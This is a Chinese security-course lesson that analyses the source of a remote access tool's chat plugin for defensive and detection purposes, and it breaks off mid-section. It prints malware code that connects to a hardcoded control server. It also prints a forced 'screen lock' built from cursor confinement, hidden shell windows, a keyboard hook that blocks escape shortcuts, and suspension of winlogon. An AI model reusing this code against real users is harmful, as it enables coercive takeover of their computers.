29 / 52 主插件与远程能力

第 29 课:主插件:远程交谈

# 第 29 课:主插件:远程交谈

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课定位:防御分析、源码阅读、用户交互风险识别和企业检测工程。
本课只讲远程交谈模块的消息收发、窗口流程、用户提示和风险控制,不提供强制锁屏、键盘拦截、用户诱导或社工滥用的操作步骤。

第 28 课讲的是远程终端:远端输入命令,本机执行并回传输出。本课看 主插件\远程交谈

远程交谈看起来没有远程终端那么“技术破坏”,但它连接的是用户界面和用户心理:弹窗、聊天、置顶、关闭、锁屏、隐藏桌面元素。这类能力如果设计不透明,就可能被用于强制交互、诱导用户、冒充运维人员或干扰用户操作。

本课主线如下:

远程交谈插件入口
  -> 创建 CChatManager
  -> 发送 TOKEN_CHAT_START
  -> 创建对话框线程
  -> ChatDialogProc 处理本地输入
  -> OnReceive 显示对方消息或处理控制命令
  -> 高风险分支:关闭、锁定、解锁
  -> 企业侧要求:用户可见、授权确认、交谈记录、可退出
1
2
3
4
5
6
7
8

# 1. 本课学习目标

问题 本课回答
远程交谈模块做什么 创建本地聊天窗口,收发文本,并处理关闭/锁定/解锁命令
为什么它也有安全风险 它影响用户界面,可能改变用户操作环境
MessageLoopProc 做什么 动态创建聊天对话框并运行消息循环
ChatDialogProc 做什么 处理发送按钮、关闭消息和内部窗口消息
OnReceive 做什么 显示对方消息,或处理单字节控制命令
聊天协议是什么格式 文本包是 TCHAR[] + 终止符,控制包是 1 字节命令
锁屏如何实现 通过置顶窗口、限制光标、隐藏 Shell 窗口、键盘 Hook 和系统进程操作叠加
合法远程协助应怎么设计 明确提示、用户授权、可随时退出、完整交谈记录

# 2. 本课涉及源码目录和文件

文件 作用
主插件\远程交谈\远程交谈.sln 远程交谈插件解决方案
主插件\远程交谈\远程交谈\远程交谈.cpp 插件入口、连接选择、创建 CChatManager
主插件\远程交谈\远程交谈\ChatManager.h 控件 ID、命令枚举、类声明
主插件\远程交谈\远程交谈\ChatManager.cpp 聊天窗口、消息收发、控制命令和高风险界面控制逻辑

2. 本课涉及源码目录和文件(配图)

# 3. 插件入口:连接后创建 CChatManager

入口代码和其他主插件一致。连接成功后创建 CChatManager,然后进入事件循环。

// 源码位置:主插件\远程交谈\远程交谈\远程交谈.cpp:7-43
// 防御分析注释:
// 1. MainThread 根据 IsTcp 选择 TCP 或 UDP。
// 2. 连接成功后创建 CChatManager,后续文本和控制命令由它处理。
// 3. 远程交谈能力必须与用户授权和可见提示绑定,否则容易形成社工风险。
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("iamasbcx.asuscomm.com"),
    6000,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CChatManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

这里的安全重点不是端口或域名本身,而是远程连接后能否弹出窗口、显示内容、改变用户界面。

# 4. 命令与控件:先看界面和控制面

ChatManager.h 里定义了聊天窗口控件 ID 和控制命令。

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.h:8-45
// 防御分析注释:
// 1. IDC_EDIT_CHATLOG 是聊天记录框,IDC_EDIT_NEWMSG 是本地输入框。
// 2. COMMAND_CHAT_CLOSE 用于关闭窗口。
// 3. COMMAND_CHAT_SCREEN_LOCK / UNLOCK 会影响用户桌面,是高风险控制命令。
#define IDC_EDIT_CHATLOG                1000
#define IDC_EDIT_NEWMSG                 1001
#define IDC_BUTTON_SEND                 1002
#define IDC_BUTTON_END                  1003

enum
{
    COMMAND_NEXT_CChat,
    COMMAND_CHAT_CLOSE,
    COMMAND_CHAT_SCREEN_LOCK,
    COMMAND_CHAT_SCREEN_UNLOCK,
};

class CChatManager : public CManager
{
public:
    BOOL m_buser;
    CChatManager(ISocketBase* pClient);
    virtual ~CChatManager();
    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

private:
    HWND m_hWnd;
    static DWORD WINAPI MessageLoopProc(LPVOID lParam);
    static INT_PTR CALLBACK ChatDialogProc(HWND hwndDlg, UINT uMsg,
                                           WPARAM wParam, LPARAM lParam);
    UINT nPreviousState;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

和远程终端不同,远程交谈的命令更少,但它直接碰到用户界面,所以合规要求更高。

# 5. 构造函数:发送聊天模块 token 并创建窗口线程

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:154-165
// 防御分析注释:
// 1. 构造函数发送 TOKEN_CHAT_START,主控端据此打开交谈窗口。
// 2. WaitForDialogOpen 等待主控端窗口准备好。
// 3. MessageLoopProc 在线程中创建本地聊天对话框。
CChatManager::CChatManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = FALSE;
    m_hWnd = NULL;

    BYTE bToken;
    bToken = TOKEN_CHAT_START;
    Send((LPBYTE)&bToken, sizeof(bToken));

    WaitForDialogOpen();

    HANDLE hThread = CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
    if (hThread)
        CloseHandle(hThread);

    m_buser = TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

这段代码说明:远程交谈不仅是网络消息,它还会在本机创建 UI 线程和窗口。检测时要把网络会话和窗口创建行为关联。

# 6. 聊天协议格式:文本包和单字节命令包

远程交谈模块没有设计复杂的业务包头。底层 socket / 管理器层负责完整包边界、压缩和解压;进入 CChatManager::OnReceive(lpBuffer, nSize) 时,聊天模块看到的是业务载荷。

本模块的业务载荷只有两类:

载荷类型 格式 判断方式 作用
文本消息 TCHAR[] 字符串,末尾带 \0 nSize > 1 显示到聊天记录框
控制命令 1 字节 BYTE nSize == 1 打开确认、关闭、锁定、解锁

6. 聊天协议格式:文本包和单字节命令包(配图)

新手要注意:这里说的“装包/解包”是应用层载荷,不是完整网络协议。完整包的收齐、解压和分发在主控框架里完成;远程交谈模块只负责把文本或单字节命令交给 Send,以及在收到 lpBuffer/nSize 后解释其业务含义。

# 6.1 命令枚举决定单字节包含义

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.h:27-34
// 源码位置:主控\Quick\Chat.h:5-11
// 防御分析注释:
// 1. 插件侧和主控侧各自定义同一组 COMMAND_CHAT_* 枚举。
// 2. enum 没有显式赋值,因此默认从 0 递增。
// 3. 单字节包没有额外校验字段,完全依赖双方枚举顺序一致。
// 4. 这种协议很轻,但健壮性弱;企业重构时应加入版本、长度、类型和鉴权字段。
enum
{
    COMMAND_NEXT_CChat,              // 0:主控聊天窗口已打开,插件可以继续初始化本地窗口
    COMMAND_CHAT_CLOSE,              // 1:关闭插件侧聊天窗口;当前主控代码主要通过断开会话关闭
    COMMAND_CHAT_SCREEN_LOCK,        // 2:高风险,触发插件侧锁屏相关逻辑
    COMMAND_CHAT_SCREEN_UNLOCK,      // 3:恢复锁屏相关状态
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14

这里的关键点是:控制命令只占 1 字节。所以插件侧 OnReceivenSize == 1 判断它是不是控制命令;如果不是单字节,就按聊天文本处理。

# 6.2 文本装包:发送的是 TCHAR 字符串

主控侧点击“发送消息”时,并没有在文本前面加 COMMAND_CHAT_TEXT 一类的业务头,而是直接把输入框里的 TCHAR 字符串发出去:

// 源码位置:主控\Quick\Chat.cpp:101-123
// 防御分析注释:
// 1. GetDlgItemText 从主控输入框读取文本。
// 2. Send 的载荷是 TCHAR 字符串本身,不带聊天业务头。
// 3. 长度计算包含末尾的 TCHAR 终止符,便于接收端按字符串显示。
// 4. 当前协议没有消息 ID、发送方 ID、会话 ID、签名或内容类型字段。
void CChat::OnButtonSend()
{
    TCHAR str[8159];

    // 从主控侧输入框读取要发送的文本。
    GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str));
    if (_tcscmp(str, _T("")) == 0)
    {
        m_editNewMsg.SetFocus();
        return;
    }

    // 应用层装包:
    // [TCHAR 文本内容][TCHAR 终止符]
    //
    // lstrlen(str) 是字符数,不含终止符;
    // sizeof(TCHAR) 把字符数换成字节数;
    // 最后的 + sizeof(TCHAR) 把字符串终止符也发过去。
    m_iocpServer->Send(
        m_pContext,
        (LPBYTE)str,
        lstrlen(str) * sizeof(TCHAR) + sizeof(TCHAR));

    // 本地 UI 追加“自己 + 时间 + 内容”。
    // 防御侧要注意:这里没有持久化审计日志,只是写入窗口控件。
    m_editChatLog.ReplaceSel(Text);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

插件侧本地聊天窗口发送文本时,装包方式相同:

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:328-358
// 防御分析注释:
// 1. 插件侧也直接发送 TCHAR 字符串载荷。
// 2. 双方文本包格式对称:谁发文本,谁就发送 TCHAR[] + 终止符。
// 3. 因为没有显式文本类型字段,所以接收端只能用 nSize 是否为 1 来区分命令与文本。
case WM_COMMAND:
    if (LOWORD(wParam) == IDC_BUTTON_SEND)
    {
        TCHAR* str = new TCHAR[8159];
        GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str) * sizeof(TCHAR));
        if (_tcscmp(str, _T("")) == 0)
            return TRUE;

        // 应用层文本载荷:
        // [TCHAR 文本内容][TCHAR 终止符]
        pThis->Send((LPBYTE)str, lstrlen(str) * sizeof(TCHAR) + sizeof(TCHAR));

        // 发送后立即写本地聊天记录。
        SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
        SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, _T(""));
        return TRUE;
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

协议上的风险也很明显:聊天文本没有结构化字段,无法天然区分“普通文本、系统提示、敏感信息提示、富文本、附件或命令”。合法远程协助产品应把消息类型、发送方身份、会话 ID、时间戳、签名校验和审计编号显式写进协议。

# 6.3 命令装包:主控发送 1 字节

主控侧锁定和解锁按钮发送的是单字节命令:

// 源码位置:主控\Quick\Chat.cpp:201-213
// 防御分析注释:
// 1. 锁定/解锁不是文本消息,而是 1 字节控制命令。
// 2. 单字节命令包到达插件后,会被 nSize == 1 分支拦截。
// 3. 高风险命令必须有强授权、二次确认和审计记录;本课不提供使用步骤。
void CChat::OnBnClickedButton_LOCK()
{
    BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}

void CChat::OnBnClickedButton_UNLOCK()
{
    BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

COMMAND_NEXT_CChat 也是单字节命令。它不是锁屏命令,而是主控窗口初始化完成后发给插件,用来释放插件构造函数中的等待逻辑:

// 源码位置:主控\Quick\Chat.cpp:57-69
// 防御分析注释:
// 1. OnInitDialog 说明主控侧聊天窗口已经创建完成。
// 2. COMMAND_NEXT_CChat 发回插件后,插件侧 NotifyDialogIsOpen() 会解除等待。
BOOL CChat::OnInitDialog()
{
    CDialog::OnInitDialog();

    BYTE bToken = COMMAND_NEXT_CChat;
    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13

# 6.4 解包:先判心跳,再判单字节命令

插件侧收到业务载荷后,先忽略心跳,再判断 nSize

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:380-438
// 防御分析注释:
// 1. TOKEN_HEARTBEAT 不进入聊天逻辑。
// 2. nSize == 1 时进入控制命令 switch。
// 3. 不是单字节控制命令时,后续会按 TCHAR 字符串追加到聊天记录。
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    if (nSize == 1)
    {
        switch (lpBuffer[0])
        {
        case COMMAND_NEXT_CChat:
            NotifyDialogIsOpen();
            return;

        case COMMAND_CHAT_CLOSE:
            SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
            return;

        case COMMAND_CHAT_SCREEN_LOCK:
            // 高风险锁屏分支,后文单独拆解。
            return;

        case COMMAND_CHAT_SCREEN_UNLOCK:
            // 解锁恢复分支,后文单独拆解。
            return;
        }
    }

    // 非单字节载荷继续按聊天文本处理。
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

主控侧接收文本时,走 OnReceiveComplete。这里已经是底层框架收齐并解压后的缓冲区:

// 源码位置:主控\Quick\Chat.cpp:86-99
// 防御分析注释:
// 1. m_DeCompressionBuffer 是底层通信层处理后的业务数据。
// 2. 代码把缓冲区解释成 TCHAR 字符串并写入聊天记录。
// 3. 当前实现主要面向可信控制端,没有对消息来源、格式和敏感内容做强校验。
void CChat::OnReceiveComplete()
{
    // 追加一个 NUL 字节作为兜底终止符。
    // 发送端本身已经发送 TCHAR 终止符,这里更多是防御式补零。
    m_pContext->m_DeCompressionBuffer.Write((LPBYTE)_T(""), 1);

    CString strResult = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);

    // 格式化为“对方 + 时间 + 内容”,再写入聊天记录控件。
    swprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n"),
        _T("对方:"), st.wYear, st.wMonth, st.wDay,
        st.wHour, st.wMinute, st.wSecond, strResult);

    m_editChatLog.ReplaceSel(Text);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

从安全工程角度看,这个协议最大的问题不是“复杂”,而是“过于简单”:没有身份字段、没有消息类型字段、没有完整性校验、没有审计序号,也没有敏感内容提示。企业如果把这类功能重构为合规远程协助,应该把聊天消息和控制命令拆成明确的结构化协议。

# 7. 对话框生命周期

7. 对话框生命周期(配图)

MessageLoopProc 动态创建一个对话框模板,包含:

控件 作用
IDC_EDIT_CHATLOG 显示聊天记录
IDC_EDIT_NEWMSG 用户输入新消息
IDC_BUTTON_SEND 发送消息
IDC_BUTTON_END 结束交谈按钮,但源码里默认禁用
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:186-311
// 防御分析注释:
// 1. MessageLoopProc 手工构造对话框模板,而不是使用资源文件中的固定对话框。
// 2. CreateDialogIndirectParam 创建窗口,并绑定 ChatDialogProc。
// 3. SetWindowPos(HWND_TOPMOST) 会让窗口置顶,应与用户体验和合规提示一起评估。
// 4. “结束交谈”按钮默认禁用,合法远程协助工具不应这样设计。
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
    HGLOBAL hGlobal = GlobalAlloc(GMEM_ZEROINIT, 256);
    LPBYTE lpBuffer = (LPBYTE)GlobalLock(hGlobal);

    LPDLGTEMPLATE lpTemplate = (LPDLGTEMPLATE)lpBuffer;
    lpTemplate->style = DS_SETFONT | DS_MODALFRAME | DS_CENTER |
                        WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU;
    lpTemplate->cdit = 4;

    // 这里依次创建输入框、发送按钮、结束按钮和聊天记录框。

    CChatManager* pThis = (CChatManager*)lParam;
    pThis->m_hWnd = CreateDialogIndirectParam(
        NULL,
        lpTemplate,
        NULL,
        ChatDialogProc,
        (LPARAM)pThis);

    if (pThis->m_hWnd)
    {
        SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG),
                    EM_SETLIMITTEXT, 8158, 0);
        SetWindowPos(pThis->m_hWnd, HWND_TOPMOST,
                     0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);

        MSG msg;
        while (GetMessage(&msg, NULL, 0, 0))
        {
            if (!IsDialogMessage(pThis->m_hWnd, &msg))
            {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

合法远程协助工具应该让用户看得懂:是谁在连接、属于哪个工单、对方身份是什么、如何结束会话。

# 8. 消息收发流程

8. 消息收发流程(配图)

本地点击发送按钮时,ChatDialogProc 读取输入框内容,调用 Send 回传,并把消息追加到聊天记录框。

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:314-358
// 防御分析注释:
// 1. IDC_BUTTON_SEND 分支读取本地输入框文本。
// 2. Send 把文本发送给远端。
// 3. 本地聊天记录会追加“自己 + 时间 + 内容”。
// 4. 合法工具应把聊天记录保存到受保护日志,而不是只存在窗口控件里。
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg,
                                              UINT uMsg,
                                              WPARAM wParam,
                                              LPARAM lParam)
{
    CChatManager* pThis =
        (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);

    switch (uMsg)
    {
    case WM_COMMAND:
        if (LOWORD(wParam) == IDC_BUTTON_SEND)
        {
            TCHAR* str = new TCHAR[8159];
            GetDlgItemText(hDlg, IDC_EDIT_NEWMSG,
                           str, sizeof(str) * sizeof(TCHAR));
            if (_tcscmp(str, _T("")) == 0)
                return TRUE;

            pThis->Send((LPBYTE)str,
                        lstrlen(str) * sizeof(TCHAR) + sizeof(TCHAR));

            swprintf_s(Text, 8192,
                       _T("%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n"),
                       _T("自己:"), st.wYear, st.wMonth, st.wDay,
                       st.wHour, st.wMinute, st.wSecond, str);

            SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
            SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, _T(""));
            return TRUE;
        }
        break;
    }
    return FALSE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

远端消息到达时,OnReceive 会把它格式化为“对方 + 时间 + 内容”,追加到聊天记录框,并恢复窗口显示。

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:380-463
// 防御分析注释:
// 1. 非心跳数据如果不是单字节控制命令,会被当作聊天文本显示。
// 2. 文本内容会直接进入聊天窗口,需要防止诱导、冒充和敏感信息索取。
// 3. 合法工具应记录双方消息、身份标识、会话编号和时间。
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    if (nSize == 1)
    {
        // 单字节包用于控制命令,下一节单独讲。
    }

    SYSTEMTIME st;
    GetLocalTime(&st);

    swprintf_s(Text, 8192,
               _T("%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n"),
               _T("对方:"),
               st.wYear, st.wMonth, st.wDay,
               st.wHour, st.wMinute, st.wSecond,
               (wchar_t*)lpBuffer);

    HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
    SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
    ShowWindow(m_hWnd, SW_RESTORE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 9. 控制命令:关闭、锁定、解锁

OnReceive 里对单字节包有特殊处理:

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:380-438
// 防御分析注释:
// 1. COMMAND_CHAT_CLOSE 会关闭聊天窗口。
// 2. COMMAND_CHAT_SCREEN_LOCK / UNLOCK 会改变用户交互环境,是高风险分支。
// 3. 单字节命令没有二次校验字段,协议健壮性和合规性都较弱。
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    if (nSize == 1)
    {
        switch (lpBuffer[0])
        {
        case COMMAND_NEXT_CChat:
            NotifyDialogIsOpen();
            return;

        case COMMAND_CHAT_CLOSE:
            SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
            return;

        case COMMAND_CHAT_SCREEN_LOCK:
            // 高风险分支,下一节按源码拆解。
            return;

        case COMMAND_CHAT_SCREEN_UNLOCK:
            // 恢复光标、桌面元素和键盘钩子状态,下一节按源码拆解。
            return;
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

命令面有两个安全工程问题:

问题 说明
文本和命令靠 nSize 区分 协议简单,但缺少显式类型字段
锁屏命令过于敏感 单字节就能触发多组 UI 和输入控制行为

合规设计应至少加入:用户侧确认、管理员审批、命令签名、会话 ID、命令序号、审计日志和超时恢复。

# 10. 锁屏功能具体实现:多组 UI 和输入控制叠加

源码里的“锁屏”不是调用 Windows 正常锁屏接口,也不是标准的 LockWorkStation()。它是把多组 UI 和输入控制叠加在一起,让用户难以离开聊天窗口:

收到 COMMAND_CHAT_SCREEN_LOCK
  -> 恢复聊天窗口
  -> ClipCursor 限制鼠标到聊天窗口矩形
  -> 设置屏保运行状态标志
  -> 枚举并最小化部分窗口
  -> 隐藏任务栏、开始按钮、桌面
  -> 发送 WM_USER + 2
  -> SetHook 安装低层键盘 Hook
  -> 提升调试权限并挂起 winlogon 相关进程
1
2
3
4
5
6
7
8
9

这是一种高风险强制交互实现。本课只解释源码如何工作,便于防御检测和安全重构,不提供触发或复用步骤。

# 10.1 锁定分支:从命令到 UI 控制

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:399-418
// 防御分析注释:
// 1. 该分支由 1 字节 COMMAND_CHAT_SCREEN_LOCK 触发。
// 2. 它没有看到用户确认、超时恢复、审计记录或权限边界判断。
// 3. 下面每一行都应作为企业检测点,而不是功能复用建议。
case COMMAND_CHAT_SCREEN_LOCK:
{
    SetEvent(m_hEventDlgOpen);

    // 恢复聊天窗口。结合 MessageLoopProc 里的 HWND_TOPMOST,
    // 该窗口会成为用户当前交互的主要界面。
    ShowWindow(m_hWnd, SW_RESTORE);

    // 读取聊天窗口矩形,后面 ClipCursor 会用它限制鼠标活动范围。
    RECT rct;
    PIDWNDINFO pwi;
    GetWindowRect(m_hWnd, &rct);

    // 高风险:限制鼠标到聊天窗口区域。
    ClipCursor(&rct);

    // 修改系统屏保运行状态标志。
    SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, true, 0, SPIF_UPDATEINIFILE);

    // 枚举窗口并最小化一批可见顶层窗口。
    pwi.dwProcessId = 0;
    pwi.hWnd = m_hWnd;
    EnumWindows(EnumWindowsProc, (LPARAM)&pwi);

    // 高风险:隐藏任务栏、开始按钮和桌面窗口。
    ::ShowWindow(::FindWindow(_T("Shell_TrayWnd"), NULL), SW_HIDE);
    ::ShowWindow(::FindWindow(_T("Button"), _T("开始")), SW_HIDE);
    ::ShowWindow(::FindWindow(_T("Progman"), NULL), SW_HIDE);

    // 通过窗口内部消息触发 SetHook()。
    SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);

    // 全局状态,析构和解锁分支依赖它来恢复环境。
    user = 1;
    return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

这段源码说明,“锁屏”效果来自多种行为组合,而不是一个单独 API。防御侧要把这些事件按时间关联起来看:置顶窗口、限制光标、隐藏 Shell 窗口、键盘 Hook、异常系统进程操作如果集中出现,风险等级应明显提升。

# 10.2 窗口枚举:最小化其他窗口

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:90-109
// 防御分析注释:
// 1. EnumWindowsProc 会枚举顶层窗口。
// 2. 当 dwProcessId == 0 时,它会最小化可见且带最小化按钮的窗口。
// 3. 这会干扰用户当前工作区,属于强制交互的一部分。
BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
    PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
    LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);

    if (pInfo->dwProcessId == 0 &&
        hWnd != pInfo->hWnd &&
        IsWindowVisible(hWnd) &&
        GetParent(hWnd) == NULL &&
        lStyle & WS_MINIMIZEBOX)
    {
        ShowWindow(hWnd, SW_MINIMIZE);
        return TRUE;
    }

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

正常聊天窗口不需要最小化其他业务窗口。企业检测时可以关注:未知进程创建置顶窗口后,又连续调用 EnumWindowsShowWindow(SW_MINIMIZE) 和隐藏 Shell 窗口。

# 10.3 键盘 Hook:拦截常见离开路径

WM_USER + 2 会进入 ChatDialogProc,再调用 SetHook()

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:362-367
// 防御分析注释:
// 1. 锁屏分支不是直接调用 SetHook,而是通过窗口消息触发。
// 2. 检测时应关联 COMMAND_CHAT_SCREEN_LOCK、WM_USER + 2 和 SetWindowsHookEx。
case WM_USER + 2:
    SetHook();
    return TRUE;
1
2
3
4
5
6
7

低层键盘 Hook 会拦截一些系统快捷键:

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:48-88
// 防御分析注释:
// 1. WH_KEYBOARD_LL 会让进程观察全局键盘输入事件。
// 2. 这里返回 1 会阻止部分系统快捷键继续传递。
// 3. 拦截 Alt+Tab、Alt+F4、Win 键等行为,明显超出普通聊天能力范围。
LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
    if (code == HC_ACTION)
    {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;

        if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) ||
            (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) ||
            (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) ||
            (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) ||
            (p->vkCode == VK_LWIN) ||
            (p->vkCode == VK_RWIN))
        {
            // 高风险:阻断用户离开当前交互界面的常见路径。
            return 1;
        }
    }

    return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

合法远程协助产品如果需要防误触输入,应使用系统支持的、可见的、可撤销的控制方式,不能静默拦截用户系统快捷键。

# 10.4 SetHook:安装 Hook 并影响系统进程

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:112-137
// 防御分析注释:
// 1. SetWindowsHookEx(WH_KEYBOARD_LL) 是全局低层键盘 Hook。
// 2. 代码还从 ntdll 解析 RtlAdjustPrivilege、NtSuspendProcess、NtResumeProcess。
// 3. 随后查找 winlogon.exe 并尝试挂起相关进程,是极高风险行为。
// 4. 企业应把这类行为纳入阻断或高优先级告警,而不是允许普通聊天模块调用。
void SetHook()
{
    g_hKeyBoard = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        KeyBoardProc,
        GetModuleHandle(NULL),
        0);

    HMODULE hMod = LoadLibrary(_T("ntdll"));
    RtlAdjustPrivilege lpfnRtlAdjustPrivilege =
        (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
    SuspendOrResumeProcess lpfnNtSuspendProcess =
        (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
    lpfnNtResumeProcess =
        (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");

    DWORD pid = GetWinlogonPid();

    // 提升调试权限后打开 winlogon 进程。
    BOOLEAN dummy = 0;
    lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &dummy);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);

    // 高风险:挂起系统登录相关进程。
    lpfnNtSuspendProcess(hProcess);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

这段是本课最敏感的实现。安全重构时应删除这类逻辑,改为合规的会话控制:用户确认、倒计时、可取消按钮、管理员审批、审计日志、异常自动恢复。

# 10.5 解锁:恢复被修改的状态

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:420-431
// 防御分析注释:
// 1. 解锁依赖全局 user == 1,说明锁定状态不是对象内严格封装的状态机。
// 2. 恢复动作包括 Hook、光标、屏保状态、任务栏、开始按钮和桌面。
// 3. 应急处置时要检查这些状态是否真的恢复,而不是只看进程是否退出。
case COMMAND_CHAT_SCREEN_UNLOCK:
{
    if (user == 1)
    {
        UnSetHook();
        ClipCursor(NULL);
        SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, false, 0, SPIF_UPDATEINIFILE);
        ::ShowWindow(::FindWindow(_T("Shell_TrayWnd"), NULL), SW_SHOW);
        ::ShowWindow(::FindWindow(_T("Button"), _T("开始")), SW_SHOW);
        ::ShowWindow(::FindWindow(_T("Progman"), NULL), SW_SHOW);
        user = 0;
        return;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

UnSetHook() 还会恢复前面被挂起的进程:

// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp:139-148
// 防御分析注释:
